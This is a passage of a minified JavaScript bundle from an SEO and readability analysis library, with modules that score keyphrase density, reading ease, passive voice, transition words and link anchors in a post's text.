strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default={wordLength:9}},8920:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t,r){const i=e.wordLength,a=r.frequencyList.list;if(t=(0,s.normalizeSingle)(t),n.test(t)&&(t=t.replace(n,"")),t.length<=i)return!1;if(a.includes(t))return!1;if(t[0].toLowerCase()===t[0]){const e=new RegExp(r.suffixGroupsComplexity.standardSuffixesWithSplural),s=new RegExp(r.suffixGroupsComplexity.standardSuffixesWithXplural),n=r.suffixGroupsComplexity.irregularPluralSingularSuffixes,i=new RegExp(n[0]);return e.test(t)||s.test(t)?t=t.substring(0,t.length-1):i.test(t)&&(t=t.replace(i,n[1])),!a.includes(t)}return!1};var s=r(37361);const n=new RegExp("^(c'|d'|l'|s')")},49581:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.default={recommendedMaximumLength:60,maximumLength:80}},40027:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=(0,a.default)(e),s=t.getResearch("morphology"),n=t.getHelper("matchWordCustomHelper");return l(r,s,e.getLocale(),n)};var s=o(r(15770)),n=r(36478),i=r(92819),a=o(r(92017));function o(e){return e&&e.__esModule?e:{default:e}}const l=function(e,t,r,a){const o={noAlt:0,withAlt:0,withAltKeyword:0,withAltNonKeyword:0};return e.forEach((e=>{const l=(0,s.default)(e);""!==l?(0,i.isEmpty)(t.keyphraseForms)?o.withAlt++:(0,n.findTopicFormsInString)(t,l,!0,r,a).percentWordMatches>=50?o.withAltKeyword++:o.withAltNonKeyword++:o.noAlt++})),o}},99447:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getHelper("memoizedTokenizer");let o=e.getText();o=(0,i.default)(o),o=(0,a.filterShortcodesFromHTML)(o,e._attributes&&e._attributes.shortcodes);const l=(0,s.default)(o,r);return(0,n.default)(l,t)};var s=o(r(9862)),n=o(r(91916)),i=o(r(96908)),a=r(29866);function o(e){return e&&e.__esModule?e:{default:e}}},14117:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=c(r(75118)),i=r(36478),a=r(66382),o=c(r(83927)),l=c(r(1105)),u=r(10152);function c(e){return e&&e.__esModule?e:{default:e}}let d=[];const h=function(e,t){return 0===t||0===d.length?t:function(e){e=e.toLocaleLowerCase();let t=(0,l.default)(e.toLocaleLowerCase(),u.WORD_BOUNDARY_WITH_HYPHEN);return t=(0,s.filter)(t,(function(e){return!(0,s.includes)(d,e.trim().toLocaleLowerCase())})),(0,s.isEmpty)(t)}(e.substring(0,t))?0:t};t.default=function(e,t){d=t.getConfig("functionWords");let r=(0,s.escapeRegExp)(e.getKeyword());const l=e.getTitle(),u=e.getLocale();let c={exactMatchFound:!1,allWordsFound:!1,position:-1,exactMatchKeyphrase:!1};const f=(0,o.default)(r);f.exactMatchRequested&&(r=f.keyphrase,c.exactMatchKeyphrase=!0);const p=t.getConfig("prefixedFunctionWordsRegex"),g=(0,n.default)(l,r,u,!1);return g.count>0&&!p?(c.exactMatchFound=!0,c.allWordsFound=!0,c.position=h(l,g.position),c):(c=function(e,t,r,o,l){const u=e.getTitle(),c=e.getLocale(),d=t.getResearch("morphology"),f=(0,i.findTopicFormsInString)(d,u,!1,c,!1);if(100===f.percentWordMatches){if(l){const{exactMatchFound:e,position:t}=function(e,t,r,i,o,l){const u=(0,s.uniq)(e.matches.map((e=>(0,a.stemPrefixedFunctionWords)(e,i).prefix)).concat([""])),c=t.split(" ").map((e=>u.map((t=>t+e)).filter((e=>(0,n.default)(o,e,l,!1).count>0))));if(!c.find((e=>0===e.length)))for(const e of function*(...e){const t=e.map((e=>e.length)),r=Array(e.length).fill(0);for(;;){yield r.map(((t,r)=>e[r][t]));let s=e.length-1;for(;s>=0&&++r[s]===t[s];)r[s]=0,s--;if(s<0)break}}(...c)){const t=Array.isArray(e)?e.join(" "):e,s=(0,n.default)(o,t,l,!1);if(s.count>0){r.exactMatchFound=!0,r.position=h(o,s.position);break}}return 0===e.position&&(r.position=0),r}(f,r,o,l,u,c);o={...o,exactMatchFound:e,position:t}}o.allWordsFound=!0}return o}(e,t,r,c,p),c)}},86232:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){let r=t.getResearch("getParagraphs");r=r.filter((t=>{const r=(0,i.getParentNode)(e,t);return!(t.isImplicit&&r&&"figcaption"===r.name)})),r=r.filter((e=>!(e.childNodes&&e.childNodes[0]&&(0,a.createShortcodeTagsRegex)(["caption"]).test(e.childNodes[0].value))));const o=r[0],l=t.getResearch("morphology"),u=t.getHelper("matchWordCustomHelper"),c=e.getLocale(),d=o&&o.sourceCodeLocation.startOffset,h=e._attributes.wpBlocks,f={foundInOneSentence:!1,foundInParagraph:!1,keyphraseOrSynonym:"",introduction:o,parentBlock:h&&h.filter((e=>(0,s.inRange)(d,e.startOffset,e.endOffset)))[0]||null};if((0,s.isEmpty)(o))return f;const p=o.sentences.map((e=>e.text));if(!(0,s.isEmpty)(p)){const e=p.map((e=>(0,n.findTopicFormsInString)(l,e,!0,c,u))).find((e=>100===e.percentWordMatches));if(e)return f.foundInOneSentence=!0,f.foundInParagraph=!0,f.keyphraseOrSynonym=e.keyphraseOrSynonym,f;const t=(0,n.findTopicFormsInString)(l,o.innerText(),!0,c,u);if(100===t.percentWordMatches)return f.foundInParagraph=!0,f.keyphraseOrSynonym=t.keyphraseOrSynonym,f}return f};var s=r(92819),n=r(36478),i=r(54241),a=r(29866)},69564:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getHelper("matchTransitionWordsHelper"),s=t.getConfig("transitionWords"),i=t.getConfig("twoPartTransitionWords"),a=t.getHelper("memoizedTokenizer");let l=e.getText();l=(0,o.default)(l),l=(0,u.filterShortcodesFromHTML)(l,e._attributes&&e._attributes.shortcodes);const c=(0,n.default)(l,a),d=f(c,s,i,r);return{totalSentences:c.length,sentenceResults:d,transitionWordSentences:d.length}};var s=c(r(55508)),n=c(r(9862)),i=r(37361),a=r(30043),o=c(r(96908)),l=r(92819),u=r(29866);function c(e){return e&&e.__esModule?e:{default:e}}let d=null,h="";const f=function(e,t,r,n){const o=[];return e.forEach((e=>{if(r){const t=function(e,t){e=(0,i.normalizeSingle)(e);const r=function(e){const t=(0,l.flattenDeep)(e).join("");return h===t&&null!==d||(h=t,d=(0,s.default)(e)),d}(t);return e.match(r)}(e,r);if(null!==t)return void o.push({sentence:e,transitionWords:t})}const u=n?n(e,t):function(e,t){return e=(0,i.normalizeSingle)(e),t.filter((t=>(0,a.isWordInSentence)(t,e)))}(e,t);0!==u.length&&o.push({sentence:e,transitionWords:u})})),o}},3479:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getConfig("functionWords"),o=t.getHelper("getWordsCustomHelper"),l=e.getKeyword();if((0,i.default)(l).exactMatchRequested)return!1;let u=o?o(l):(0,n.default)(l,a.WORD_BOUNDARY_WITH_HYPHEN);return u=(0,s.filter)(u,(function(e){return!(0,s.includes)(r,e.trim().toLocaleLowerCase())})),(0,s.isEmpty)(u)};var s=r(92819),n=o(r(1105)),i=o(r(83927)),a=r(10152);function o(e){return e&&e.__esModule?e:{default:e}}},63216:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){f=t.getConfig("functionWords");const r=t.getConfig("areHyphensWordBoundaries"),h={anchorsWithKeyphrase:[],anchorsWithKeyphraseCount:0};if(""===e.getText())return h;const p=e.getKeyword();if(""===p)return h;const g=(0,l.default)(e.getSynonyms());g.push(p);let m=e.getTree().findAll((e=>"a"===e.name));if(m=function(e,t){const r=e.map((function(e){const r=e.attributes.href;return!!r&&function(e,t){return Boolean(c.default.areEqual(e,t)||c.default.isRelativeFragmentURL(e))}(r,t)}));return e.filter(((e,t)=>!r[t]))}(m,e.getPermalink()),0===m.length)return h;const _=e.getLocale(),T=t.getResearch("morphology"),E={matchWordCustomHelper:t.getHelper("matchWordCustomHelper"),getWordsCustomHelper:t.getHelper("getWordsCustomHelper")};if(m=function(e,t,r,s){const n=e.map((function(e){const n=e.innerText();return 100===(0,i.findTopicFormsInString)(t,n,!0,r,s).percentWordMatches}));return e.filter(((e,t)=>n[t]))}(m,T,_,E.matchWordCustomHelper),0===m.length)return h;return m=function(e,t,r,i,l,u){const c=i.matchWordCustomHelper,h=i.getWordsCustomHelper,p=[(0,s.flatten)(t.keyphraseForms)];t.synonymsForms.forEach((e=>p.push((0,s.flatten)(e))));const g=[];return e.forEach((function(e){const t=e.innerText();let i;i=h?(0,s.uniq)(h(t)):u?(0,s.uniq)((0,a.default)(t,d.WORD_BOUNDARY_WITH_HYPHEN)):(0,s.uniq)((0,a.default)(t,d.WORD_BOUNDARY_WITHOUT_HYPHEN));const m=(0,n.default)(i,f);m.length>0&&(i=m),l.forEach((e=>{e.exactMatchRequested&&i.every((t=>e.keyphrase.includes(t)))&&g.push(!0)}));for(let e=0;e<p.length;e++){const t=p[e];if(i.every((e=>(0,o.default)(e,t,r,c).count>0))){g.push(!0);break}}})),e.filter(((e,t)=>g[t]))}(m,T,_,E,g.map((e=>(0,u.default)(e))),r),{anchorsWithKeyphrase:m,anchorsWithKeyphraseCount:m.length}};var s=r(92819),n=h(r(49325)),i=r(36478),a=h(r(1105)),o=h(r(7407)),l=h(r(73481)),u=h(r(83927)),c=h(r(20917)),d=r(10152);function h(e){return e&&e.__esModule?e:{default:e}}let f=[]},82163:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DIFFICULTY=void 0,t.default=function(e,t){const r=t.getConfig("syllables"),l=t.getHelper("memoizedTokenizer"),d=function(e){return e.getConfig("fleschReadingEaseScores")||{borders:{veryEasy:90,easy:80,fairlyEasy:70,okay:60,fairlyDifficult:50,difficult:30,veryDifficult:0},scores:{veryEasy:9,easy:9,fairlyEasy:9,okay:9,fairlyDifficult:6,difficult:3,veryDifficult:3}}}(t);let h=e.getText();if(""===h)return{score:-1,difficulty:c.NO_DATA};h=(0,s.default)(h);const f=(0,n.default)(h,l),p=(0,i.default)(h);if(f<1||p<=10)return{score:-1,difficulty:c.NO_DATA};const g=(0,a.default)(h,r),m={numberOfSentences:f,numberOfWords:p,numberOfSyllables:g,averageWordsPerSentence:u(p,f),syllablesPer100Words:g*(100/p)},_=t.getHelper("fleschReadingScore"),T=(0,o.clamp)(_(m),0,100),E=function(e,t){return e>=t.borders.veryEasy?c.VERY_EASY:(0,o.inRange)(e,t.borders.easy,t.borders.veryEasy)?c.EASY:(0,o.inRange)(e,t.borders.fairlyEasy,t.borders.easy)?c.FAIRLY_EASY:(0,o.inRange)(e,t.borders.okay,t.borders.fairlyEasy)?c.OKAY:(0,o.inRange)(e,t.borders.fairlyDifficult,t.borders.okay)?c.FAIRLY_DIFFICULT:(0,o.inRange)(e,t.borders.difficult,t.borders.fairlyDifficult)?c.DIFFICULT:c.VERY_DIFFICULT}(T,d);return{score:T,difficulty:E}};var s=l(r(86812)),n=l(r(55473)),i=l(r(33870)),a=l(r(39617)),o=r(92819);function l(e){return e&&e.__esModule?e:{default:e}}const u=function(e,t){return e/t},c=t.DIFFICULTY={NO_DATA:-1,VERY_EASY:0,EASY:1,FAIRLY_EASY:2,OKAY:3,FAIRLY_DIFFICULT:4,DIFFICULT:5,VERY_DIFFICULT:6}},78160:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=i,t.getKeywordDensity=function(e,t){return console.warn("This function is deprecated, use getKeyphraseDensity instead."),i(e,t)};var s,n=(s=r(60914))&&s.__esModule?s:{default:s};function i(e,t){const r=t.getHelper("getWordsCustomHelper");let s=0;return s=r?r(e.getText()).length:(0,n.default)(e).length,0===s?0:t.getResearch("getKeyphraseCount").count/s*100}},45095:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=(0,n.default)(e.getText()),r=e.getPermalink(),a={total:t.length,internalTotal:0,internalDofollow:0,internalNofollow:0,externalTotal:0,externalDofollow:0,externalNofollow:0,otherTotal:0,otherDofollow:0,otherNofollow:0};for(let e=0;e<t.length;e++){const n=t[e],o=(0,i.default)(n,r),l=(0,s.default)(n);a[o+"Total"]++,a[o+l]++}return a};var s=a(r(88782)),n=a(r(30341)),i=a(r(25930));function a(e){return e&&e.__esModule?e:{default:e}}},901:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=(0,s.default)(e.getText());return(0,n.map)(t,i.default.getFromAnchorTag)};var s=a(r(30341)),n=r(92819),i=a(r(20917));function a(e){return e&&e.__esModule?e:{default:e}}},37228:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){const t=e.getTree(),n=t.findAll((e=>"p"===e.name)),i=t.findAll((e=>s.test(e.name)));return n.concat(i).filter((e=>e.attributes.class instanceof Set&&e.attributes.class.has("has-text-align-center")&&e.innerText().length>r))};const r=50,s=/^h[1-6]$/},72619:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){let r=e.getText();r=(0,l.default)(r),r=(0,u.filterShortcodesFromHTML)(r,e._attributes&&e._attributes.shortcodes),r=r.replace(s.imageRegex,""),r=(0,n.default)(r);const c=(0,a.default)(r),d=[],h=t.getHelper("customCountLength");return c.map((function(e){d.push({countLength:h?h(e):(0,i.default)(e),text:e})})),(0,o.filter)(d,(function(e){return e.countLength>0}))};var s=r(61440),n=c(r(65510)),i=c(r(33870)),a=c(r(62932)),o=r(92819),l=c(r(96908)),u=r(29866);function c(e){return e&&e.__esModule?e:{default:e}}},41564:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){let t=e.getTree().findAll((e=>"p"===e.name));return t=(0,s.reject)(t,(e=>0===e.sentences.length)),t=(0,s.reject)(t,(e=>e.childNodes.every((e=>"a"===e.name)))),t};var s=r(92819)},52364:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getConfig("passiveConstructionType");return"periphrastic"===r?d(e,t):"morphological"===r?c(e,t):h(e,t)},t.getPeriphrasticPassives=t.getMorphologicalPassives=void 0;var s=u(r(9862)),n=r(62240),i=u(r(18812)),a=r(92819),o=u(r(96908)),l=r(29866);function u(e){return e&&e.__esModule?e:{default:e}}const c=function(e,t){const r=t.getHelper("isPassiveSentence");let u=e.getText();u=(0,o.default)(u),u=(0,l.filterShortcodesFromHTML)(u,e._attributes&&e._attributes.shortcodes);const c=t.getHelper("memoizedTokenizer"),d=(0,s.default)(u,c).map((function(e){return new i.default(e)})),h=d.length,f=[];return(0,a.forEach)(d,(function(e){const t=(0,n.stripFullTags)(e.getSentenceText()).toLocaleLowerCase();e.setPassive(r(t)),!0===e.isPassive()&&f.push(e.getSentenceText())})),{total:h,passives:f}};t.getMorphologicalPassives=c;const d=function(e,t){const r=t.getHelper("getClauses");let u=e.getText();u=(0,o.default)(u),u=(0,l.filterShortcodesFromHTML)(u,e._attributes&&e._attributes.shortcodes);const c=t.getHelper("memoizedTokenizer"),d=(0,s.default)(u,c).map((function(e){return new i.default(e)})),h=d.length,f=[];return(0,a.forEach)(d,(function(e){const t=(0,n.stripFullTags)(e.getSentenceText()).toLocaleLowerCase(),s=r(t);e.setClauses(s),e.isPassive()&&f.push(e.getSentenceText())})),{total:h,passives:f}};t.getPeriphrasticPassives=d;const h=function(e,t){const r=c(e,t),s=d(e,t).passives;return{total:r.total,passives:s.concat(r.passives)}}},18807:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=r(85683),i=o(r(85476)),a=o(r(32879));function o(e){return e&&e.__esModule?e:{default:e}}t.default=function(e,t){const r=t.getConfig("functionWords"),o=t.getHelper("customGetStemmer"),l=o?o(t):t.getHelper("getStemmer")(t),u=t.getHelper("getWordsCustomHelper");let c=e.getText();c=(0,i.default)(c),c=(0,a.default)(c);const d=u?[]:(0,n.retrieveAbbreviations)(c),h=(0,n.getProminentWords)(c,d,l,r,u),f=(0,n.collapseProminentWordsOnStem)(h);return(0,n.sortProminentWords)(f),(0,s.take)((0,n.filterProminentWords)(f,5),20)}},58743:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var s=r(92819),n=c(r(33870)),i=r(85683),a=r(84285),o=c(r(42992)),l=c(r(85476)),u=c(r(32879));function c(e){return e&&e.__esModule?e:{default:e}}const d=function(e){return e=(0,l.default)(e),(0,u.default)(e)};t.default=function(e,t){const r=t.getConfig("functionWords"),l=t.getHelper("customGetStemmer"),u=l?l(t):t.getHelper("getStemmer")(t),c=t.getHelper("getWordsCustomHelper"),h=t.getHelper("customCountLength"),f=d(e.getText()),p=d(e.getDescription()),g=d(e.getTitle()),m={};if(m.hasMetaDescription=""!==p,m.hasTitle=""!==g,m.prominentWords=[],h){if(h(f)<200)return m}else if((0,n.default)(f)<100)return m;const _=(0,a.getSubheadingsTopLevel)(f).map((e=>e[2])),T=[e.getKeyword(),e.getSynonyms(),g,p,_.join(" ")],E=c?[]:(0,i.retrieveAbbreviations)(f.concat(T.join(" "))),A=(0,a.removeSubheadingsTopLevel)(f),y=(0,i.getProminentWords)(A,E,u,r,c),v=(0,i.getProminentWordsFromPaperAttributes)(T,E,u,r,c);v.forEach((e=>e.setOccurrences(3*e.getOccurrences())));const b=(0,i.collapseProminentWordsOnStem)(v.concat(y));(0,i.sortProminentWords)(b);let O=4;return u===o.default&&(O=2),m.prominentWords=(0,s.take)((0,i.filterProminentWords)(b,O),100),m}},62987:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getConfig("firstWordExceptions"),c=t.getConfig("secondWordExceptions"),h=t.getHelper("getWordsCustomHelper"),f=t.getHelper("memoizedTokenizer");let p=e.getText();p=(0,l.default)(p),p=(0,u.filterShortcodesFromHTML)(p,e._attributes&&e._attributes.shortcodes),p=p.replace(/[\s\n]+/g," "),p=p.replace(/<figure class='wp-block-table'>.*<\/figure>/gs,""),p=p.replace(/<li(?:[^>]+)?>(.*?)<\/li>/gi,"");let g=(0,n.default)(p,f),m=g.map((function(e){return function(e,t,r,n){const o=(0,a.stripFullTags)((0,i.default)(e)),l=n?n(o):(0,s.default)(o);if(0===l.length)return"";let u=l[0].toLocaleLowerCase();return t.indexOf(u)>-1&&l.length>1&&(u=u+" "+l[1],r&&r.includes(l[1])&&(u=u+" "+l[2])),u}(e,r,c,h)}));return g=g.filter((function(e){const t=(0,i.default)(e);return(h?h(t):(0,s.default)(t)).length>0})),m=(0,o.filter)(m),d(m,g)};var s=c(r(1105)),n=c(r(9862)),i=c(r(47793)),a=r(62240),o=r(92819),l=c(r(96908)),u=r(29866);function c(e){return e&&e.__esModule?e:{default:e}}const d=function(e,t){const r=[];let s=[],n=1;return(0,o.forEach)(e,(function(i,a){const l=i,u=e[a+1];s.push(t[a]),function(e,t){return!(0,o.isEmpty)(e)&&e===t}(l,u)?n++:(r.push({word:l,count:n,sentences:s}),n=1,s=[])})),r}},21706:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){let r=e.getText();r=(0,a.default)(r),r=(0,o.filterShortcodesFromHTML)(r,e._attributes&&e._attributes.shortcodes);const l=(0,s.default)(r),u=t.getHelper("customCountLength"),c=[];(0,i.forEach)(l,(function(e){c.push({subheading:e.subheading,text:e.text,countLength:u?u(e.text):(0,n.default)(e.text),index:e.index})}));let d=0,h="";if(c.length>0){const e=c[0];h=r.slice(0,e.index),d=u?u(h):(0,n.default)(h)}return d>0&&""!==h&&c.unshift({subheading:"",text:h,countLength:d}),c};var s=l(r(89272)),n=l(r(33870)),i=r(92819),a=l(r(96908)),o=r(29866);function l(e){return e&&e.__esModule?e:{default:e}}},31015:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getConfig("functionWords"),s=t.getHelper("getStemmer")(t),i=t.getHelper("createBasicWordForms"),l=t.getConfig("language"),f=t.getConfig("areHyphensWordBoundaries"),p=(0,a.default)(e,f).map((e=>e.toLocaleLowerCase(l)));return function(e,t,r,s,i,a,o){const l=(0,n.collectStems)(e,t,i,s,o),f=l.keyphraseStems,p=l.synonymsStems;if(0===f.stemOriginalPairs.length&&0===p.length)return new c;if([f,...p].every((e=>!0===e.exactMatch)))return new c([[f.stemOriginalPairs[0].stem]],p.map((e=>[[e.stemOriginalPairs[0].stem]])));const g=[...new Set(d(f,p))],m=[...new Set(r.filter((e=>!s.includes(e))))].map((e=>new n.StemOriginalPair(i(e),e))).filter((e=>g.includes(e.stem))).sort(((e,t)=>e.stem.localeCompare(t.stem))).reduce((function(e,t){const r=e[e.length-1];return 0===e.length||r.stem!==t.stem?e.push(new u(t.stem,[t.original])):r.forms.push(t.original),e}),[]);return new c(h(f,m,a),p.map((e=>h(e,m,a))))}(e.getKeyword().toLocaleLowerCase(l).trim(),(0,o.default)(e.getSynonyms().toLocaleLowerCase(l).trim()),p,r,s,i,f)};var s=r(37361),n=r(17811),i=r(92819),a=l(r(90831)),o=l(r(73481));function l(e){return e&&e.__esModule?e:{default:e}}function u(e,t){this.stem=e,this.forms=t}function c(e=[],t=[]){this.keyphraseForms=e,this.synonymsForms=t}function d(e,t){const r=0===e.stemOriginalPairs.length?[]:e.getStems(),s=0===t.length?[]:t.map((e=>e.getStems()));return[...r,...(0,i.flattenDeep)(s)]}function h(e,t,r){return 0===e.stemOriginalPairs.length?[]:e.exactMatch?[[e.stemOriginalPairs[0].stem]]:e.stemOriginalPairs.map((function(e){return function(e,t,r){const n=t.find((t=>t.stem===e.stem)),a=(0,s.normalizeSingle)((0,i.escapeRegExp)(e.original)),o=n?[a,...n.forms]:[a];return r&&o.push(...r(e.original)),[...new Set(o)]}(e,t,r)}))}},31051:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return e.getTree().findAll((e=>"h1"===e.name)).map((e=>({tag:"h1",content:e.findAll((e=>"#text"===e.name)).map((e=>e.value)).join(""),position:{startOffset:e.sourceCodeLocation.startTag.endOffset,endOffset:e.sourceCodeLocation.endTag.startOffset,clientId:e.clientId||""}}))).filter((e=>!!e.content))}},52948:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){return(0,n.default)(e).length};var s,n=(s=r(92017))&&s.__esModule?s:{default:s}},42299:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),Object.defineProperty(t,"getLongCenterAlignedTexts",{enumerable:!0,get:function(){return s.default}}),Object.defineProperty(t,"keyphraseDistribution",{enumerable:!0,get:function(){return i.default}}),Object.defineProperty(t,"wordComplexity",{enumerable:!0,get:function(){return n.default}});var s=a(r(37228)),n=a(r(53201)),i=a(r(53127));function a(e){return e&&e.__esModule?e:{default:e}}},53127:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.maximizeSentenceScores=t.keyphraseDistributionResearcher=t.getDistraction=t.default=t.computeScoresPerSentenceShortTopic=t.computeScoresPerSentenceLongTopic=void 0;var s=r(92819),n=r(36478),i=r(48024),a=d(r(9862)),o=d(r(73481)),l=r(10840),u=d(r(96908)),c=r(24533);function d(e){return e&&e.__esModule?e:{default:e}}const h=function(e,t,r,s){const i=Array(t.length);for(let a=0;a<t.length;a++)(0,n.findWordFormsInString)(e,t[a],r,s).percentWordMatches>=50?i[a]=9:i[a]=3;return i};t.computeScoresPerSentenceLongTopic=h;const f=function(e,t,r,s){const i=Array(t.length);for(let a=0;a<t.length;a++){const o=t[a];100===(0,n.findWordFormsInString)(e,o,r,s).percentWordMatches?i[a]=9:i[a]=3}return i};t.computeScoresPerSentenceShortTopic=f;const p=function(e){return e[0].map((function(t,r){return e.map((function(e){return e[r]}))})).map((function(e){return(0,s.max)(e)}))};t.maximizeSentenceScores=p;const g=function(e){const t=e.length,r=[];for(let s=0;s<t;s++)e[s]>3&&r.push(s);const n=r.length;if(0===n)return t;r.unshift(-1),r.push(t);const i=[];for(let e=1;e<n+2;e++)i.push(r[e]-r[e-1]-1);return(0,s.max)(i)};t.getDistraction=g;const m=function(e,t){const r=t.getConfig("functionWords"),n=t.getHelper("matchWordCustomHelper"),d=t.getHelper("getContentWords"),m=t.getResearch("wordsCharacterCount"),_=t.getHelper("memoizedTokenizer"),T=t.getConfig("topicLength").lengthCriteria;let E=e.getText();E=(0,u.default)(E),E=(0,c.filterShortcodesFromHTML)(E,e._attributes&&e._attributes.shortcodes),E=(0,l.mergeListItems)(E);const A=(0,a.default)(E,_),y=t.getResearch("morphology"),v=[];d&&(v.push(d(e.getKeyword())),(0,o.default)(e.getSynonyms()).forEach((e=>v.push(d(e)))));const b=e.getLocale(),O=[y.keyphraseForms];y.synonymsForms.forEach((function(e){O.push(e)}));const S=(0,s.uniq)((0,s.flattenDeep)(O)).sort(((e,t)=>t.length-e.length)),I=function(e,t,r,n,i,a=4,o,l){const u=t.length,c=Array(u);if(n.length>0)for(let s=0;s<u;s++){const n=t[s],u=l?l(o[s]):n.length;c[s]=u<a?f(n,e,r,i):h(n,e,r,i)}else for(let s=0;s<u;s++){const n=t[s];c[s]=f(n,e,r,i)}const d=p(c);return{maximizedSentenceScores:d,sentencesWithTopic:(0,s.zipWith)(e,d,((e,t)=>({sentence:e,score:t}))).filter((e=>e.score>3)).map((e=>e.sentence))}}(A,O,b,r,n,T,v,m),C=I.maximizedSentenceScores,N=g(C);return{sentencesToHighlight:(0,i.markWordsInSentences)(S,I.sentencesWithTopic,b,n),keyphraseDistributionScore:N/A.length*100}};t.keyphraseDistributionResearcher=m,t.default=m},57419:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getResearch("morphology"),s=t.getConfig("functionWords");return{keyphraseLength:r.keyphraseForms.length,functionWords:s}}},82242:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.countKeyphraseInText=f,t.default=p,t.keywordCount=function(e,t){return console.warn("This function is deprecated, use getKeyphraseCount instead."),p(e,t)};var s=r(92819),n=h(r(54241)),i=r(37361),a=h(r(82676)),o=h(r(57329)),l=h(r(23116)),u=r(48024),c=h(r(9862)),d=r(29866);function h(e){return e&&e.__esModule?e:{default:e}}function f(e,t,r,n,i,l){const c={count:0,markings:[]};return e.forEach((e=>{const d=t.map((t=>(0,o.default)(e,t,r,n,i,l)));if(d.every((e=>e.count>0))){const t=d.map((e=>e.count)),r=Math.min(...t),i=(0,s.flattenDeep)(d.map((e=>e.matches)));let o=[];o=n?(0,u.markWordsInASentence)(e,i,n):(0,a.default)(e,i),c.count+=r,c.markings.push(o)}})),c}function p(e,t){const r={count:0,markings:[],keyphraseLength:0};let a=t.getResearch("morphology").keyphraseForms;const o=a.length;if(a=a.map((e=>e.map((e=>(0,i.normalizeSingle)(e))))),0===o)return r;const u=t.getHelper("matchWordCustomHelper"),h=t.getHelper("memoizedTokenizer"),p=t.getHelper("splitIntoTokensCustom"),g=e.getLocale(),m=u?(0,d.filterShortcodesFromHTML)(e.getText(),e._attributes&&e._attributes.shortcodes):e.getText(),_=f(u?(0,c.default)(m,h):(0,n.default)(e),a,g,u,(0,l.default)(e.getKeyword()),p);return r.count=_.count,r.markings=(0,s.flatten)(_.markings),r.keyphraseLength=o,r}},74066:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0,t.keywordCountInSlug=o,t.keywordCountInUrl=function(e,t){return console.warn("This function is deprecated, use keywordCountInSlug instead."),o(e,t)};var s,n=(s=r(84159))&&s.__esModule?s:{default:s},i=r(36478),a=r(92819);function o(e,t){const r=(0,a.cloneDeep)(t);r.addConfig("areHyphensWordBoundaries",!0);const s=r.getResearch("morphology"),o=(0,n.default)(e.getSlug()),l=e.getLocale(),u=(0,i.findTopicFormsInString)(s,o,!1,l,!1);return{keyphraseLength:s.keyphraseForms.length,percentWordMatches:u.percentWordMatches}}t.default=o},72286:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=t.getConfig("functionWords"),i=t.getHelper("matchWordCustomHelper");let l=e.getText();l=(0,a.default)(l),l=(0,o.filterShortcodesFromHTML)(l,e._attributes&&e._attributes.shortcodes),l=(0,n.default)(l);const c=t.getResearch("morphology"),d=e.getLocale(),h={count:0,matches:0,percentReflectingTopic:0},f=(0,s.getSubheadingContentsTopLevel)(l);return 0!==f.length&&(h.count=f.length,h.matches=u(c,f,!0,d,r,i),h.percentReflectingTopic=h.matches/h.count*100),h};var s=r(84285),n=l(r(57719)),i=r(36478),a=l(r(96908)),o=r(29866);function l(e){return e&&e.__esModule?e:{default:e}}const u=function(e,t,r,s,n,a){return t.filter((t=>{const o=(0,i.findTopicFormsInString)(e,t,r,s,a);return 0===n.length?100===o.percentWordMatches:o.percentWordMatches>50})).length}},90497:(e,t,r)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){const r=e.getDescription(),s=e.getLocale(),i=t.getResearch("morphology"),a=t.getHelper("matchWordCustomHelper"),l=t.getHelper("memoizedTokenizer");return(0,n.default)(r,l).map((e=>o(e,i,s,a))).reduce(((e,t)=>e+t),0)};var s=i(r(7407)),n=i(r(9862));function i(e){return e&&e.__esModule?e:{default:e}}const a=function(e,t,r){return 